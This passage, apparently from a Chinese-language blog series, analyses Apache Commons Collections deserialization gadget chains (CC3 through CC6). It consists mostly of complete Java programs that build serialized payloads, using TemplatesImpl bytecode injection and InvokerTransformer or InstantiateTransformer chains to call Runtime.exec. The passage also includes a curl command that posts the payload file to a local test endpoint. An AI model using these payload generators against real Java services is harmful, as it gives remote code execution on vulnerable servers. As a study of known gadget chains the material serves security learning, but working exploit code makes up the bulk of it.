InvocationHandler InvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
//创建hashmap的动态代理instance,现在我们只需要call 到evilMap的任意function就可以触发代理类的invoke了
Map testMap = new HashMap();
Map evilMap = (Map) Proxy.newProxyInstance(testMap.getClass().getClassLoader(), testMap.getClass().getInterfaces(),InvocationHandler);
//创建第二个代理类的实例
InvocationHandler anotherInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, evilMap);
/* 写出序列化文件 */
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream(("test.ser")));
outputStream.writeObject(anotherInvocationHandler);
outputStream.close();

用web环境实验一下:curl http://localhost:9090/webTest1_Web_exploded/test --data-binary @test.ser

计算器成功弹出

image-20211201162910487

Payload构造

方法一 InvokerTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections3 {

public static void main(String[] args) throws Exception {
/* 生成字节码 */
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath((AbstractTranslet.class)));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);//通过CtClass.makeClassInitializer方法在当前类创建了一个静态代码块
cc.setName("Leihehe");
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));//必须要继承AbstractTranslet类
final byte[] classBytes = cc.toBytecode();//获取字节码
/* TemplatesImpl加载字节码 */
TemplatesImpl templates = TemplatesImpl.class.newInstance();//创建一个templates对象
setFieldValue(templates,"_name","leihehe");
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",new byte[][]{classBytes});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());


Class trAXFilterClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter");
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(trAXFilterClass),
new InvokerTransformer("getConstructor",new Class[]{Class[].class},new Object[]{new Class[]{Templates.class}}),
new InvokerTransformer("newInstance", new Class[]{Object[].class},new Object[] {new Object[]{templates}})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,chainedTransformer);

String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
constructor.setAccessible(true);

//创建代理类的实例
InvocationHandler InvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
//创建hashmap的动态代理instance,现在我们只需要call 到evilMap的任意function就可以触发代理类的invoke了
Map testMap = new HashMap();
Map evilMap = (Map) Proxy.newProxyInstance(testMap.getClass().getClassLoader(), testMap.getClass().getInterfaces(),InvocationHandler);
//创建第二个代理类的实例
InvocationHandler anotherInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, evilMap);

/* 写出序列化文件 */
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream(("test.ser")));
outputStream.writeObject(anotherInvocationHandler);
outputStream.close();


}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

方法二 InstantiateTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class CommonsCollections3Method2 {

public static void main(String[] args) throws Exception {
/* 生成字节码 */
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath((AbstractTranslet.class)));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);//通过CtClass.makeClassInitializer方法在当前类创建了一个静态代码块
cc.setName("Leihehe");
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));//必须要继承AbstractTranslet类
final byte[] classBytes = cc.toBytecode();//获取字节码
/* TemplatesImpl加载字节码 */
TemplatesImpl templates = TemplatesImpl.class.newInstance();//创建一个templates对象
setFieldValue(templates,"_name","leihehe");
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",new byte[][]{classBytes});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,chainedTransformer);


String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
constructor.setAccessible(true);

//创建代理类的实例
InvocationHandler InvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
//创建hashmap的动态代理instance,现在我们只需要call 到evilMap的任意function就可以触发代理类的invoke了
Map testMap = new HashMap();
Map evilMap = (Map) Proxy.newProxyInstance(testMap.getClass().getClassLoader(), testMap.getClass().getInterfaces(),InvocationHandler);
//创建第二个代理类的实例
InvocationHandler anotherInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, evilMap);


/* 写出序列化文件 */
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream(("test.ser")));
outputStream.writeObject(anotherInvocationHandler);
outputStream.close();
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

总结

综合了cc1和cc2,利用了之前学过的动态代理。

Reference

Ysoserial CommonsCollections1 详细分析

ysoserial CommonsCollections3/4 详细分析

Java反序列化利用链补全计划

Commons Collections 4

环境搭建

  • commons-collections4:4.0

  • jdk7u21之前

利用链构造

commons-collections4:4.0中,InvokerTransfomer()不能再用了,所以我们用到了

  • cc2的前部分: PriorityQueue -> TransformingComparator
  • cc3的后部分:InstanitateTransformer->TrAXFilter -> TemplatesImpl

payload构造

方法一

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollections4 {
public static void main(String[] args) throws Exception {
/* 生成字节码 */
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath((AbstractTranslet.class)));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);//通过CtClass.makeClassInitializer方法在当前类创建了一个静态代码块
cc.setName("Leihehe");
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));//必须要继承AbstractTranslet类
final byte[] classBytes = cc.toBytecode();//获取字节码
/* TemplatesImpl加载字节码 */
TemplatesImpl templates = TemplatesImpl.class.newInstance();//创建一个templates对象
setFieldValue(templates,"_name","leihehe");
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",new byte[][]{classBytes});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

ConstantTransformer constantTransformer = new ConstantTransformer(String.class);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{String.class},new Object[]{"haha"});
Transformer[] transformers = new Transformer[]{
constantTransformer,
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
/* 创建TransformingComparator */
TransformingComparator comparator = new TransformingComparator(chainedTransformer);

/* 创建PriorityQueue */
final PriorityQueue<Object> queue = new PriorityQueue<>(2,comparator);
//priorityQueue -> TransformingComparator.compare -> ChainedTransformer.transform
queue.add(1);//add elements
queue.add(1);
setFieldValue(constantTransformer,"iConstant",TrAXFilter.class);//需要在最后一步修改,否则出错

setFieldValue(instantiateTransformer,"iParamTypes",new Class[]{Templates.class});
setFieldValue(instantiateTransformer,"iArgs",new Object[]{templates});

/* 写出序列化文件 */
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream(("test.ser")));
outputStream.writeObject(queue);
outputStream.close();

}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

我们知道PriorityQueue在使用add()方法的时候,会执行其comparator,导致利用链会在序列化前就被触发而程序终止。所以我们需要在add之后再把我们利用链用到的东西放进去。例如constantTransformerInstantiateTransformer都是如此,我们在add之后才对他们的参数进行修改。

因为我们只需要call到chainedTransformer.transform()方法,不需要像cc2链一样要向InvokerTransformer传数据,因此我们不需要在queue中添加构造的templates了。

方法二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollections4Method2 {
public static void main(String[] args) throws Exception {
/* 生成字节码 */
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath((AbstractTranslet.class)));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);//通过CtClass.makeClassInitializer方法在当前类创建了一个静态代码块
cc.setName("Leihehe");
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));//必须要继承AbstractTranslet类
final byte[] classBytes = cc.toBytecode();//获取字节码
/* TemplatesImpl加载字节码 */
TemplatesImpl templates = TemplatesImpl.class.newInstance();//创建一个templates对象
setFieldValue(templates,"_name","leihehe");
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",new byte[][]{classBytes});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

/* 创建TransformingComparator */
TransformingComparator comparator = new TransformingComparator(chainedTransformer);

/* 创建PriorityQueue */
final PriorityQueue<Object> queue = new PriorityQueue<>(2);
//priorityQueue -> TransformingComparator.compare -> ChainedTransformer.transform
queue.add(1);//add elements
queue.add(1);

setFieldValue(queue,"comparator",comparator);

/* 写出序列化文件 */
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream(("test.ser")));
outputStream.writeObject(queue);
outputStream.close();

}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

该方法的区别在于,我们不需要先伪装transformers里的各种transformer,相反,我们先创建一个不含自定义comparator的PriorityQueue,在add完之后,我们再将comparator加进这个PriorityQueue,这样就巧妙的绕过了add()触发点

总结

cc4 = cc2和cc3的混合体

Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
TransformingComparator()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter.TrAXFilter()

exec()

Reference

ysoserial CommonsCollections3/4 详细分析

Java反序列化利用链补全计划

Commons Collections 5

环境搭建

  • commons-collections:3.1-3.2.1
  • jdk1.8

利用链构造

ChainedTransformer&ConstantTransformer&InvokerTransformer

在cc5后半部分,我们依然使用之前用过的利用链

ChainedTransformer.transform()

​ ConstantTransformer.transform()

​ InvokerTransformer.transform()

​ Runtime.exec()

commons-collections:3.1-3.2.1中,我们的InvokerTransformer存在,所以可以继续利用它来作为我们利用链的一部分。

LazyMap

和cc1一样,我们选择使用**LazyMap.get()**来触发ChainedTransformer.transform()

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);//此处会执行factory,我们将factory赋值为我们的chainedTrasnformer即可
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}

LazyMap的构造函数是protected的,我们可以用LazyMap.decorate()来得到我们想要的LazyMap instance,具体的在之前的cc1和cc3都有讲解过。

1
2
3
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

现在我们可以暂时写出如下payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class CommonsCollections5 {
public static void main(String[] args) {

/*
* 客户端构造payload,并序列化文件
* */
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//返回Runtime Class
//获取getRuntime方法
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
//call getRuntime方法得到Runtime实例
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
//创建invokerTransformer,并利用constructor对iMethodName、iParamTypes、iArgs进行赋值
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
//将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("1","2");
Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);//return a new lazyMap
}
}

在cc1中,我们有用到AnnotationInvocationHandler,但AnnotationInvocationHandler在JDK1.8做了限制,所以我们用到了BadAttributeValueExpException


写着一半发现不对劲,之前其实有写了cc5,写在cc1的地方重复了 LOL

剩下看这里


Commons Collections 6

环境搭建

  • commons-collections:3.1-3.2.1
  • jdk1.7&1.8

利用链构造

前言

在cc5中,我们使用TiedMapEntry.toString()来执行TiedMap.getValue(),再由BadAttributeInvocationHandler来执行TiedMapEntry.toString(),从而完成利用链的衔接。我们在cc6中,将另外寻找一条链,能够连接TiedMapEntry.getValue()->Lazymap.get() -> ChainedTransformer.transform()

TiedMapEntry.hashCode()

我们发现,在hashCode()方法中也call到了getValue()

1
2
3
4
public int hashCode() {
Object value = this.getValue();//这里也call到了同类下的getValue()
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}

那么什么能够执行hashCode()

HashMap.hash()

我们在HashMap下找到了hash()方法,其中call到了hashCode()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
final int hash(Object k) {
int h = hashSeed;
if (0 != h && k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}

h ^= k.hashCode();//这里我们如果给k赋值为TiedMapEntry的instance就可以执行命令

// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}

继续找可以连接hash()的方法

image-20211204145232237

我们发现这里有很多地方都用到了hash(),我们一个一个分析

调用hash()处一(方法一):

HashMap.putForCreate() & HashMap.readObject()

最后我们找到putForCreate(),发现它调用了hash()且它会被readObject()调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private void putForCreate(K key, V value) {
int hash = null == key ? 0 : hash(key);//如果key不为null,这里会调用hash(key)
int i = indexFor(hash, table.length);

/**
* Look for preexisting entry for key. This will never happen for
* clone or deserialize. It will only happen for construction if the
* input Map is a sorted map whose ordering is inconsistent w/ equals.
*/
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash &&
((k = e.key) == key || (key != null && key.equals(k)))) {
e.value = value;
return;
}
}

createEntry(hash, key, value, i);
}

image-20211204145642205

那么我们就可以确定使用这个链了

HashMap.readObject([key,value])->HashMap.putForCreate(key,value)->HashMap.hash(key)->key.hashcode()->TiedMapEntrykey.hashCode()->TiedMapEntry.getValue(this.key=chainedTransformer)->Lazymap.get(chainedTransformer) -> ChainedTransformer.transform() -> …..

我们尝试来构造一下POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections6 {
public static void main(String[] args) throws IOException, ClassNotFoundException {

/*
* 客户端构造payload,并序列化文件
* */
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//返回Runtime Class
//获取getRuntime方法
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
//call getRuntime方法得到Runtime实例
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
//创建invokerTransformer,并利用constructor对iMethodName、iParamTypes、iArgs进行赋值
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
//将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("1","2");
Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);//return a new lazyMap
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"leihehe");//让TiedMapEntry里的map为lazyMap,key随意
Map serMap = new HashMap();
serMap.put(tiedMapEntry,"111");
//序列化
FileOutputStream fileOutputStream = new FileOutputStream("lz.cer");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(serMap);//序列化
objectOutputStream.flush();
objectOutputStream.close();
fileOutputStream.close();
/*
* 服务端反序列化读取,并触发漏洞
* */
//反序列化
// FileInputStream fileInputStream = new FileInputStream("lz.cer");
// ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
// objectInputStream.readObject();//只需要readObject()就会触发漏洞
}
}

奇怪的是,我们并没有反序列化,但计算器依然弹出来了,说明这里某处又触发了一次命令执行。

HashMap.put()的问题

还记得我们之前查找哪些地方调用了HashMap.hash()吗,那里貌似出现了很多地方调用。其中一个地方 put()方法里,也对hash()进行了调用,正好我们要在生成payload的时候put进key-value对,那该怎样才能让他在生成payload的时候不触发?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public V put(K key, V value) {
if (table == EMPTY_TABLE) {
inflateTable(threshold);
}
if (key == null)
return putForNullKey(value);
int hash = hash(key);//这里也调用了hash,导致后面漏洞触发了。
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {//把key-value放入Entry<K,V>
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}

modCount++;
addEntry(hash, key, value, i);
return null;
}


其实刚开始分析的时候总觉得这一幕似曾相识,感觉好像自己之前分析过put重复执行命令的这种类似的情况。后来去网上查了下,发现这不是URLDNS的内容吗?

因为触发的地方在LazyMap.get() -> ChainedTransformer.transform()

所以我们可以在构造LazyMap的时候让他执行一个无效的ChainedTransformer,然后最后再传入真正有用的transformer

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public class CommonsCollections6 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {

/*
* 客户端构造payload,并序列化文件
* */

//写一个fake的trasnformers
Transformer[] fakeTransformers = new Transformer[]{
new ConstantTransformer(String.class)
};
//这是真的transformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//返回Runtime Class
//获取getRuntime方法
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
//call getRuntime方法得到Runtime实例
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
//创建invokerTransformer,并利用constructor对iMethodName、iParamTypes、iArgs进行赋值
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
//将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
innerMap.put("1","2");
Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);//return a new lazyMap
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"leihehe");//让TiedMapEntry里的map为lazyMap,key随意
Map serMap = new HashMap();
serMap.put(tiedMapEntry,"111");

/* 把有用的transformer换回来 */
Field myTransformers = chainedTransformer.getClass().getDeclaredField("iTransformers");
myTransformers.setAccessible(true);
myTransformers.set(chainedTransformer,transformers);
//序列化
FileOutputStream fileOutputStream = new FileOutputStream("lz.cer");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(serMap);//序列化
objectOutputStream.flush();
objectOutputStream.close();
fileOutputStream.close();
/*
* 服务端反序列化读取,并触发漏洞
* */
//反序列化
FileInputStream fileInputStream = new FileInputStream("lz.cer");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();//只需要readObject()就会触发漏洞
}
}

奇怪的是,序列化时不弹计算器了,可是反序列化的时候也没有弹计算器 -》 我们没有成功触发漏洞。

问题出在哪里呢?

image-20211204162857604

我们发现执行到putForCreate的时候,被传过去的key值是TiedMapEntry中的key值,而并非我们想要的tiedMapEntry,所以我们猜测某个地方将TiedMapEntry中的key值给加到map里去了。

跟踪后发现问题出在LazyMap.get():

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}

在这里我们的factory是fakeTransform,key是leihehe,在super.map.put(key, value);处,TiedMapEntry被添加了一个key值

image-20211204183033871

image-20211204183536474

导致反序列化漏洞触发失败。

所以我们的解决方法如下:

1
lazyMap.remove("leihehe");
POC构造
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections6 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {

/*
* 客户端构造payload,并序列化文件
* */

//写一个fake的trasnformers
Transformer[] fakeTransformers = new Transformer[]{
new ConstantTransformer(String.class)
};
//这是真的transformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//返回Runtime Class
//获取getRuntime方法
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
//call getRuntime方法得到Runtime实例
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
//创建invokerTransformer,并利用constructor对iMethodName、iParamTypes、iArgs进行赋值
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
//将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
innerMap.put("1","2");
Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);//return a new lazyMap
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"leihehe");//让TiedMapEntry里的map为lazyMap,key随意
Map serMap = new HashMap();
serMap.put(tiedMapEntry,"111");
lazyMap.remove("leihehe");
/* 把有用的transformer换回来 */
Field myTransformers = chainedTransformer.getClass().getDeclaredField("iTransformers");
myTransformers.setAccessible(true);
myTransformers.set(chainedTransformer,transformers);
//序列化
FileOutputStream fileOutputStream = new FileOutputStream("lz.cer");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(serMap);//序列化
objectOutputStream.flush();
objectOutputStream.close();
fileOutputStream.close();
/*
* 服务端反序列化读取,并触发漏洞
* */
//反序列化
FileInputStream fileInputStream = new FileInputStream("lz.cer");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();//只需要readObject()就会触发漏洞
}
}

image-20211204184034975

调用hash()处二(方法二):

HashSet

